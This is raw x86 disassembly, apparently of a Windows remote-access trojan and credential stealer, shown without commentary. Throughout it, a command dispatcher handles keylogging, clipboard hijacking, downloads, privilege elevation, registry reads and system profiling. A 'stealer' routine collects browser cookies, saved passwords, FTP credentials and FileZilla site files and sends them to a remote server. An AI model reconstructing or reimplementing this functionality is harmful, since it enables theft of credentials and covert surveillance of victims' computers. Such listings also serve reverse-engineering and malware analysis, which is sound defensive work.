call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a94b
lea ecx, [ebp - 0x149c]
call fcn.1002fdb0
lea ebx, [ebp - 0x149c]
cmp dword [ebp - 0x1488], 8
cmovae ebx, dword [ebp - 0x149c]
mov eax, dword [ebp - 0x148c]
lea edx, [eax + eax]
add ebx, edx
mov dword [ebp - 0x21dc], ebx
mov byte [ebp - 0x21b8], 0
lea esi, [ebp - 0x149c]
cmp dword [ebp - 0x1488], 8
cmovae esi, dword [ebp - 0x149c]
add esi, edx
mov dword [ebp - 0x21dc], esi
lea ecx, [ebp - 0x149c]
call fcn.10051d70
mov dword [ebp - 0x21dc], eax
push esi
push eax
lea edx, [ebp - 0x21b8]
lea ecx, [ebp - 0x2480]
call fcn.1005a400
add esp, 8
push ebx
push dword [eax]
lea eax, [ebp - 0x2478]
push eax
lea ecx, [ebp - 0x149c]
call fcn.10051f30
lea eax, [ebp - 0x149c]
push eax
mov edx, str.systeminfo458854785747
lea ecx, [ebp - 0x1a94]
call fcn.10059c20
mov esi, dword [0x101aba00]
sub esp, 0x14
mov ecx, esp
lea eax, [ebp - 0x1a94]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1a94]
call fcn.10024ce0
lea ecx, [ebp - 0x149c]
jmp 0x1004c169
push ecx
push 0x10193df4
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004ad2b
lea ecx, [ebp - 0x22fc]
call fcn.10043ea0
push 0x1018ed8c
lea ecx, [ebp - 0x14e4]
call fcn.100524b0
xor edi, edi
mov dword [ebp - 0x2264], edi
mov esi, dword [ebp - 0x22fc]
mov dword [ebp - 0x2268], esi
mov ebx, dword [ebp - 0x22f8]
nop word [eax + eax]
cmp esi, ebx
je 0x1004ac55
push esi
lea ecx, [ebp - 0x2004]
call fcn.1004c3c0
inc edi
mov dword [ebp - 0x2264], edi
push str.Not_known.
lea ecx, [ebp - 0x168c]
call fcn.100524b0
cmp dword [ebp - 0x1fc4], 8
jb 0x1004aacf
push 4
push 0
lea eax, [ebp - 0x1ac4]
push eax
lea ecx, [ebp - 0x1fd4]
call fcn.10051a90
push 2
push 4
lea eax, [ebp - 0x1824]
push eax
lea ecx, [ebp - 0x1fd4]
call fcn.10051a90
push 2
push 6
lea eax, [ebp - 0x1aac]
push eax
lea ecx, [ebp - 0x1fd4]
call fcn.10051a90
lea eax, [ebp - 0x1ac4]
push eax
push 0x1018e20c
lea eax, [ebp - 0x1824]
push eax
push 0x1018e20c
lea edx, [ebp - 0x1aac]
lea ecx, [ebp - 0x1be4]
call fcn.10058da0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1df4]
call fcn.10059c80
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1e0c]
call fcn.10058e00
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1e54]
call fcn.10059c80
add esp, 4
push eax
lea ecx, [ebp - 0x168c]
call fcn.100522e0
lea ecx, [ebp - 0x1e54]
call fcn.10024ce0
lea ecx, [ebp - 0x1e0c]
call fcn.10024ce0
lea ecx, [ebp - 0x1df4]
call fcn.10024ce0
lea ecx, [ebp - 0x1be4]
call fcn.10024ce0
lea ecx, [ebp - 0x1aac]
call fcn.10024ce0
lea ecx, [ebp - 0x1824]
call fcn.10024ce0
lea ecx, [ebp - 0x1ac4]
call fcn.10024ce0
lea eax, [ebp - 0x1fa4]
push eax
push 0x1018f8a4
lea eax, [ebp - 0x1f8c]
push eax
push 0x1018f8a4
lea eax, [ebp - 0x168c]
push eax
push 0x1018f8a4
lea eax, [ebp - 0x1fec]
push eax
push 0x1018f8a4
lea edx, [ebp - 0x2004]
lea ecx, [ebp - 0x1f2c]
call fcn.10058da0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1f14]
call fcn.10059c80
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1efc]
call fcn.10058e00
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1ee4]
call fcn.10059c80
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1b9c]
call fcn.10058e00
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1bb4]
call fcn.10059c80
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1bcc]
call fcn.10058e00
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x16d4]
call fcn.10059c80
add esp, 4
lea ecx, [ebp - 0x1bcc]
call fcn.10024ce0
lea ecx, [ebp - 0x1bb4]
call fcn.10024ce0
lea ecx, [ebp - 0x1b9c]
call fcn.10024ce0
lea ecx, [ebp - 0x1ee4]
call fcn.10024ce0
lea ecx, [ebp - 0x1efc]
call fcn.10024ce0
lea ecx, [ebp - 0x1f14]
call fcn.10024ce0
lea ecx, [ebp - 0x1f2c]
call fcn.10024ce0
lea ecx, [ebp - 0x22fc]
call fcn.1004c430
cmp edi, eax
jne 0x1004abf3
lea eax, [ebp - 0x16d4]
push eax
lea ecx, [ebp - 0x14e4]
call fcn.10052290
jmp 0x1004ac23
push 0x1018e170
lea edx, [ebp - 0x16d4]
lea ecx, [ebp - 0x1b6c]
call fcn.10058da0
add esp, 4
push eax
lea ecx, [ebp - 0x14e4]
call fcn.10052290
lea ecx, [ebp - 0x1b6c]
call fcn.10024ce0
lea ecx, [ebp - 0x16d4]
call fcn.10024ce0
lea ecx, [ebp - 0x168c]
call fcn.10024ce0
lea ecx, [ebp - 0x2004]
call fcn.100448f0
add esi, 0xa8
mov dword [ebp - 0x2268], esi
jmp 0x1004a9a0
lea eax, [ebp - 0x2474]
push eax
lea ecx, [ebp - 0x14e4]
call fcn.10051ef0
mov edi, dword [eax]
mov byte [ebp - 0x21b7], 0
lea eax, [ebp - 0x2470]
push eax
lea ecx, [ebp - 0x14e4]
call fcn.10051ef0
mov esi, dword [eax]
lea eax, [ebp - 0x246c]
push eax
lea ecx, [ebp - 0x14e4]
call fcn.10051f10
push esi
push dword [eax]
lea edx, [ebp - 0x21b7]
lea ecx, [ebp - 0x2468]
call fcn.1005a400
add esp, 8
push edi
push dword [eax]
lea eax, [ebp - 0x2464]
push eax
lea ecx, [ebp - 0x14e4]
call fcn.10051f30
lea eax, [ebp - 0x14e4]
push eax
mov edx, str.installed45645547852875257
lea ecx, [ebp - 0x16a4]
call fcn.10059c20
lea ecx, [ebp - 0x16a4]
call fcn.100235a0
mov esi, dword [0x101aba00]
sub esp, 0x14
mov ecx, esp
lea eax, [ebp - 0x16a4]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x16a4]
call fcn.10024ce0
lea ecx, [ebp - 0x14e4]
call fcn.10024ce0
lea ecx, [ebp - 0x22fc]
call fcn.1004c450
jmp 0x1004c16e
push ecx
push str.846845484camdealay
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
jne 0x1004c16e
push ecx
push str.test565546654564654
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004aeaf
push str.1_2_3_4_5_6_7_8_9_10_11_12_13_14_15_16_17_18_19_20_21_22_23_24_25_26_27_28_29_30_31_32_33_34_35_36_37_38_39_40_41_42_43_44_45_46_47_48_49_50
lea ecx, [ebp - 0x1adc]
call fcn.100524b0
mov dword [ebp - 0x14cc], 0
mov dword [ebp - 0x14bc], 0
mov dword [ebp - 0x14b8], 0
mov dword [ebp - 0x14bc], 0
mov dword [ebp - 0x14b8], 7
xor eax, eax
mov word [ebp - 0x14cc], ax
xor esi, esi
mov dword [ebp - 0x226c], esi
cmp esi, 0x7530
jge 0x1004adee
lea eax, [ebp - 0x1adc]
push eax
mov edx, 0x1018eeb0
lea ecx, [ebp - 0x1f44]
call fcn.10059c20
add esp, 4
push eax
lea ecx, [ebp - 0x14cc]
call fcn.10052290
lea ecx, [ebp - 0x1f44]
call fcn.10024ce0
inc esi
jmp 0x1004adac
push 3
lea edx, [ebp - 0x14cc]
lea ecx, [ebp - 0x23c8]
call fcn.100237a0
add esp, 4
mov edi, dword [ebp - 0x23c8]
mov dword [ebp - 0x2270], edi
mov ebx, dword [ebp - 0x23c4]
cmp edi, ebx
je 0x1004ae8e
push edi
lea ecx, [ebp - 0x1634]
call fcn.10052530
lea eax, [ebp - 0x1634]
push eax
mov edx, str.downl12345
lea ecx, [ebp - 0x1dac]
call fcn.10059c20
add esp, 4
push eax
lea ecx, [ebp - 0x1634]
call fcn.100522e0
lea ecx, [ebp - 0x1dac]
call fcn.10024ce0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1634]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1634]
call fcn.10024ce0
add edi, 0x18
mov dword [ebp - 0x2270], edi
jmp 0x1004ae16
lea ecx, [ebp - 0x23c8]
call fcn.10055820
lea ecx, [ebp - 0x14cc]
call fcn.10024ce0
lea ecx, [ebp - 0x1adc]
jmp 0x1004c169
push ecx
push str.454858454564clipboard
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004afcd
push 1
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
mov edx, 0x10194030
mov ecx, eax
call fcn.10059db0
test al, al
je 0x1004af3f
lea ecx, [ebp - 0x1b0c]
call fcn.10031630
lea eax, [ebp - 0x1b0c]
push eax
mov edx, str.5654564565445cl
lea ecx, [ebp - 0x1af4]
call fcn.10059c20
mov esi, dword [0x101aba00]
sub esp, 0x14
mov ecx, esp
lea eax, [ebp - 0x1af4]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1af4]
call fcn.10024ce0
lea ecx, [ebp - 0x1b0c]
jmp 0x1004c169
push 2
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
push eax
lea ecx, [ebp - 0x14b4]
call fcn.10052530
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1004afc2
mov eax, dword [ebp - 0x14a4]
lea ebx, [eax*2 + 2]
push ebx
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x1004afbc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x1004afbc
push ebx
lea ecx, [ebp - 0x14b4]
call fcn.10051d70
push eax
push edi
call fcn.1011b630
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea ecx, [ebp - 0x14b4]
jmp 0x1004c169
push ecx
push str.545465455887cloneprofile
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004b050
push 0x1018ed8c
lea ecx, [ebp - 0x1b3c]
call fcn.100524b0
push str.545465455887cloneprofile
lea ecx, [ebp - 0x1b24]
call fcn.100524b0
lea eax, [ebp - 0x1b3c]
push eax
lea edx, [ebp - 0x1b24]
lea ecx, [ebp - 0x1454]
call fcn.10023600
add esp, 4
lea ecx, [ebp - 0x1b24]
call fcn.10024ce0
lea ecx, [ebp - 0x1b3c]
call fcn.10024ce0
push 0xa
xor edx, edx
lea ecx, [ebp - 0x1454]
call fcn.10022b30
add esp, 4
mov dword [0x101aba04], eax
jmp 0x1004c16e
push ecx
push str.545465455887switchwindow
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004b08d
push 0xa
push 1
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
xor edx, edx
mov ecx, eax
call fcn.10022b30
add esp, 4
mov ecx, eax
call fcn.10041790
jmp 0x1004c16e
push ecx
push str.545465455887checkwindow
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004b0d2
push 0xa
push 1
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
xor edx, edx
mov ecx, eax
call fcn.10022b30
add esp, 4
mov dword [0x101abc50], eax
mov dword [0x101abc3c], 0x12c
jmp 0x1004c16e
push ecx
push str.58674545465684857585keylogger
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004b228
push 1
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
mov edx, 0x1018f934
mov ecx, eax
call fcn.10059db0
test al, al
je 0x1004b175
cmp dword [0x101ab9d8], 0
jne 0x1004c16e
mov byte [0x101abc6d], 0
sub esp, 0x18
mov ecx, esp
push 0x101a6388
call fcn.10052c90
sub esp, 0x18
mov ecx, esp
push 0x1018ec30
call fcn.10052c20
call fcn.1003ecb0
mov dword [0x101ab9d8], 1
add esp, 0x28
lea ecx, [ebp - 0x2354]
call fcn.1005a080
lea ecx, [ebp - 0x2354]
call fcn.10024300
cmp dword [ebp - 0x2350], 0
jne 0x1004c3ae
jmp 0x1004c16e
push 1
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
mov edx, 0x10190540
mov ecx, eax
call fcn.10059db0
test al, al
je 0x1004b1f6
mov edx, dword [0x101ab9d8]
test edx, edx
je 0x1004c16e
lea ecx, [ebp - 0x1f5c]
call fcn.10022ba0
push eax
mov edx, str.4545645545454keylogstatus
lea ecx, [ebp - 0x1b54]
call fcn.10059bb0
add esp, 4
lea ecx, [ebp - 0x1f5c]
call fcn.10024ce0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1b54]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1b54]
jmp 0x1004c169
mov byte [0x101abc6d], 1
sub esp, 0x18
mov ecx, esp
push 0x101a6388
call fcn.10052c90
sub esp, 0x18
mov ecx, esp
push 0x1018ec2c
call fcn.10052c20
call fcn.1003ecb0
add esp, 0x30
jmp 0x1004c16e
push ecx
push str.4568456564546564564564getlogs
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004b248
call fcn.1003af70
jmp 0x1004c16e
push ecx
push str.546454564565645stealer
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004b905
call fcn.1002cb00
movaps xmm0, xmmword [0x10194eb0]
movups xmmword [ebp - 0x143c], xmm0
mov dword [ebp - 0x142c], 4
mov dword [ebp - 0x1428], 5
lea esi, [ebp - 0x143c]
lea edi, [ebp - 0x1424]
mov dword [ebp - 0x2274], esi
cmp esi, edi
je 0x1004b2ab
mov ecx, dword [esi]
call fcn.1002a510
add esi, 4
jmp 0x1004b295
call fcn.1002a610
push ecx
push str..xml
push str.FileZilla_sitemanager
lea ecx, [ebp - 0x1d94]
call fcn.10026960
mov edx, eax
lea ecx, [ebp - 0x1c8c]
call fcn.10058d50
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1b84]
call fcn.10058d50
add esp, 4
push eax
lea ecx, [ebp - 0x16ec]
call fcn.10059a20
lea ecx, [ebp - 0x16ec]
call fcn.10025a80
mov bl, al
lea ecx, [ebp - 0x16ec]
call fcn.10024ce0
lea ecx, [ebp - 0x1b84]
call fcn.10052b20
lea ecx, [ebp - 0x1c8c]
call fcn.10052b20
lea ecx, [ebp - 0x1d94]
call fcn.10052b20
test bl, bl
je 0x1004b334
call fcn.1002b2e0
lea eax, [ebp - 0x2460]
push eax
mov ecx, 0x101a63e8
call fcn.100528f0
mov edi, dword [eax]
mov byte [ebp - 0x21b6], 0
lea eax, [ebp - 0x245c]
push eax
mov ecx, 0x101a63e8
call fcn.100528f0
mov esi, dword [eax]
lea eax, [ebp - 0x2458]
push eax
mov ecx, 0x101a63e8
call fcn.10052910
push esi
push dword [eax]
lea edx, [ebp - 0x21b6]
lea ecx, [ebp - 0x2450]
call fcn.1005a480
add esp, 8
push edi
push dword [eax]
lea eax, [ebp - 0x244c]
push eax
mov ecx, 0x101a63e8
call fcn.10052930
lea eax, [ebp - 0x2448]
push eax
mov ecx, 0x101a63d0
call fcn.100528f0
mov edi, dword [eax]
mov byte [ebp - 0x21b5], 0
lea eax, [ebp - 0x2444]
push eax
mov ecx, 0x101a63d0
call fcn.100528f0
mov esi, dword [eax]
lea eax, [ebp - 0x24d8]
push eax
mov ecx, 0x101a63d0
call fcn.10052910
push esi
push dword [eax]
lea edx, [ebp - 0x21b5]
lea ecx, [ebp - 0x243c]
call fcn.1005a480
add esp, 8
push edi
push dword [eax]
lea eax, [ebp - 0x2438]
push eax
mov ecx, 0x101a63d0
call fcn.10052930
lea eax, [ebp - 0x2434]
push eax
mov ecx, 0x101a6448
call fcn.100528f0
mov edi, dword [eax]
mov byte [ebp - 0x21b4], 0
lea eax, [ebp - 0x2430]
push eax
mov ecx, 0x101a6448
call fcn.100528f0
mov esi, dword [eax]
lea eax, [ebp - 0x242c]
push eax
mov ecx, 0x101a6448
call fcn.10052910
push esi
push dword [eax]
lea edx, [ebp - 0x21b4]
lea ecx, [ebp - 0x2428]
call fcn.1005a480
add esp, 8
push edi
push dword [eax]
lea eax, [ebp - 0x2424]
push eax
mov ecx, 0x101a6448
call fcn.10052930
lea eax, [ebp - 0x2420]
push eax
mov ecx, 0x101a6400
call fcn.100528f0
mov edi, dword [eax]
mov byte [ebp - 0x21b3], 0
lea eax, [ebp - 0x241c]
push eax
mov ecx, 0x101a6400
call fcn.100528f0
mov esi, dword [eax]
lea eax, [ebp - 0x2418]
push eax
mov ecx, 0x101a6400
call fcn.10052910
push esi
push dword [eax]
lea edx, [ebp - 0x21b3]
lea ecx, [ebp - 0x2414]
call fcn.1005a480
add esp, 8
push edi
push dword [eax]
lea eax, [ebp - 0x2410]
push eax
mov ecx, 0x101a6400
call fcn.10052930
lea eax, [ebp - 0x240c]
push eax
mov ecx, 0x101a6430
call fcn.100528f0
mov edi, dword [eax]
mov byte [ebp - 0x21c5], 0
lea eax, [ebp - 0x2408]
push eax
mov ecx, 0x101a6430
call fcn.100528f0
mov esi, dword [eax]
lea eax, [ebp - 0x24e0]
push eax
mov ecx, 0x101a6430
call fcn.10052910
push esi
push dword [eax]
lea edx, [ebp - 0x21c5]
lea ecx, [ebp - 0x2490]
call fcn.1005a480
add esp, 8
push edi
push dword [eax]
lea eax, [ebp - 0x2440]
push eax
mov ecx, 0x101a6430
call fcn.10052930
lea eax, [ebp - 0x24f0]
push eax
mov ecx, 0x101a6418
call fcn.100528f0
mov edi, dword [eax]
mov byte [ebp - 0x21b2], 0
lea eax, [ebp - 0x247c]
push eax
mov ecx, 0x101a6418
call fcn.100528f0
mov esi, dword [eax]
lea eax, [ebp - 0x24e8]
push eax
mov ecx, 0x101a6418
call fcn.10052910
push esi
push dword [eax]
lea edx, [ebp - 0x21b2]
lea ecx, [ebp - 0x24e4]
call fcn.1005a480
add esp, 8
push edi
push dword [eax]
lea eax, [ebp - 0x2454]
push eax
mov ecx, 0x101a6418
call fcn.10052930
push ecx
mov edx, 0x101a63e8
lea ecx, [ebp - 0x2404]
call fcn.100238b0
add esp, 4
mov edi, dword [ebp - 0x2404]
mov dword [ebp - 0x2278], edi
mov ebx, dword [ebp - 0x2400]
cmp edi, ebx
je 0x1004b61f
push edi
lea ecx, [ebp - 0x1704]
call fcn.10052c90
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1704]
push eax
mov edx, str.777777777cookies
call fcn.10059b60
add esp, 4
mov ecx, esi
call fcn.10023aa0
add esp, 0x18
lea ecx, [ebp - 0x1704]
call fcn.10052b20
add edi, 0x18
mov dword [ebp - 0x2278], edi
jmp 0x1004b5d0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
mov edx, 0x101a63d0
lea ecx, [ebp - 0x23f8]
call fcn.100238b0
add esp, 4
mov edi, dword [ebp - 0x23f8]
mov dword [ebp - 0x227c], edi
mov ebx, dword [ebp - 0x23f4]
nop dword [eax]
cmp edi, ebx
je 0x1004b69f
push edi
lea ecx, [ebp - 0x171c]
call fcn.10052c90
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x171c]
push eax
mov edx, str.777777777passwords
call fcn.10059b60
add esp, 4
mov ecx, esi
call fcn.10023aa0
add esp, 0x18
lea ecx, [ebp - 0x171c]
call fcn.10052b20
add edi, 0x18
mov dword [ebp - 0x227c], edi
jmp 0x1004b650
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
mov edx, 0x101a6448
lea ecx, [ebp - 0x238c]
call fcn.100238b0
add esp, 4
mov edi, dword [ebp - 0x238c]
mov dword [ebp - 0x2280], edi
mov ebx, dword [ebp - 0x2388]
nop dword [eax]
cmp edi, ebx
je 0x1004b71f
push edi
lea ecx, [ebp - 0x1734]
call fcn.10052c90
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1734]
push eax
mov edx, str.777777777ftp
call fcn.10059b60
add esp, 4
mov ecx, esi
call fcn.10023aa0
add esp, 0x18
lea ecx, [ebp - 0x1734]
call fcn.10052b20
add edi, 0x18
mov dword [ebp - 0x2280], edi
jmp 0x1004b6d0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
mov edx, 0x101a6418
lea ecx, [ebp - 0x23ec]
call fcn.100238b0
add esp, 4
mov edi, dword [ebp - 0x23ec]
mov dword [ebp - 0x2284], edi
mov ebx, dword [ebp - 0x23e8]
nop dword [eax]
cmp edi, ebx
je 0x1004b79f
push ecx
push str.messagebox548674585747854
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004bae4
push 1
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
push eax
lea ecx, [ebp - 0x17ac]
call fcn.10052530
push 2
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
push eax
lea ecx, [ebp - 0x1794]
call fcn.10052530
push 3
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
push eax
lea ecx, [ebp - 0x155c]
call fcn.10052530
push 4
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
push eax
lea ecx, [ebp - 0x152c]
call fcn.10052530
xor esi, esi
mov dword [ebp - 0x21ac], esi
mov edx, str.yesnocancel
lea ecx, [ebp - 0x155c]
call fcn.10059db0
test al, al
je 0x1004b9a6
mov esi, 3
jmp 0x1004ba11
mov edx, str.okcancel
lea ecx, [ebp - 0x155c]
call fcn.10059db0
test al, al
je 0x1004b9c1
mov esi, 1
jmp 0x1004ba11
mov edx, str.cancelretry
lea ecx, [ebp - 0x155c]
call fcn.10059db0
test al, al
je 0x1004b9dc
mov esi, 5
jmp 0x1004ba11
mov edx, str.yesno
lea ecx, [ebp - 0x155c]
call fcn.10059db0
test al, al
je 0x1004b9f7
mov esi, 4
jmp 0x1004ba11
mov edx, str.abortretryignore
lea ecx, [ebp - 0x155c]
call fcn.10059db0
test al, al
mov eax, 2
cmovne esi, eax
mov dword [ebp - 0x21ac], esi
mov edx, 0x1018e164
lea ecx, [ebp - 0x152c]
call fcn.10059db0
test al, al
je 0x1004ba30
push ecx
push str.56546544554645854545456445fun
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004bb18
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x21a0]
push eax
call fcn.10051830
call fcn.10033470
add esp, 0xc
jmp 0x1004c16e
push ecx
push str.45584454454454545545585454564
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004bb55
sub esp, 0x18
mov esi, esp
push 1
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
push eax
mov ecx, esi
call fcn.10052530
call fcn.10034100
add esp, 0x18
jmp 0x1004c16e
push ecx
push str.864685654456645654654netstat
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004bbaa
lea ecx, [ebp - 0x17c4]
call fcn.1003d850
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x17c4]
push eax
mov edx, str.446586588565874netstat
call fcn.10059c20
add esp, 4
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x17c4]
jmp 0x1004c169
push ecx
push 0x1019445c
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004bc16
sub esp, 0x18
mov esi, esp
push 1
lea ecx, [ebp - 0x21a0]
call fcn.100517b0
push eax
mov ecx, esi
call fcn.10052530
lea ecx, [ebp - 0x17dc]
call fcn.1003bed0
mov esi, dword [0x101aba00]
mov ecx, esp
lea eax, [ebp - 0x17dc]
push eax
mov edx, str.registryread5554646546586458
call fcn.10059c20
add esp, 4
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x17dc]
jmp 0x1004c169
push ecx
push str.5545456456regrename
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004bc74
call fcn.10024ce0
lea ecx, [ebp - 0x21a0]
call fcn.10055820
lea ecx, [ebp - 0x1454]
call fcn.10024ce0
lea ecx, [ebp - 0x229c]
call fcn.1004ec70
jmp 0x10048100
lea ecx, [ebp - 0x15ec]
call fcn.10024ce0
lea ecx, [ebp - 0x15d4]
call fcn.10024ce0
lea ecx, [ebp - 0x15bc]
call fcn.10024ce0
lea ecx, [ebp - 0x15a4]
call fcn.10024ce0
lea ecx, [ebp - 0x158c]
call fcn.10024ce0
lea ecx, [ebp - 0x1484]
call fcn.10052b20
lea ecx, [ebp - 0x22a4]
call fcn.100244b0
lea ecx, [ebp - 0x21f0]
call fcn.10024550
lea ecx, [ebp + 0xc]
call fcn.10052b20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
call fcn.10125fc5
call fcn.10125fc5
call fcn.10125fc5
call fcn.10125fc5
call fcn.101245dc
mov dword [ebp - 0x21c0], 0
push 6
call fcn.1010535e
call fcn.101245dc
call fcn.101245dc
call fcn.10125fc5
call fcn.10125fc5
call fcn.10021260
call fcn.10125fc5
call fcn.101245dc
call fcn.101245dc
call fcn.101245dc
mov dword [ebp - 0x2200], 0
push 6
call fcn.1010535e
call fcn.101245dc
call fcn.101245dc
call fcn.101245dc
call fcn.101245dc
call fcn.101245dc
call fcn.101245dc
mov dword [ebp - 0x2220], 0
push 6
call fcn.1010535e
push str.Error_sending_data_to_server___uc_
mov ecx, 0x101aa2a8
call fcn.10050fb0
push ecx
mov ecx, eax
call fcn.10051590
mov dword [0x101ab1c8], 1
push dword [ebp - 0x21a4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.1011f305
mov byte [ebp - 4], 9
mov edx, str.elevate
mov ecx, 0x101aa048
call fcn.10058e70
call fcn.100455d0
push 0
call fcn.1011f305
call fcn.101245dc
call fcn.101245dc
call fcn.101245dc
call fcn.101245dc
mov dword [ebp - 0x2218], 0
push 6
call fcn.1010535e
call fcn.101245dc
mov dword [ebp - 0x2210], 0
push 6
call fcn.1010535e
call fcn.101245dc
mov dword [ebp - 0x2208], 0
push 6
call fcn.1010535e
call fcn.101245dc
call fcn.101245dc
call fcn.101245dc
int3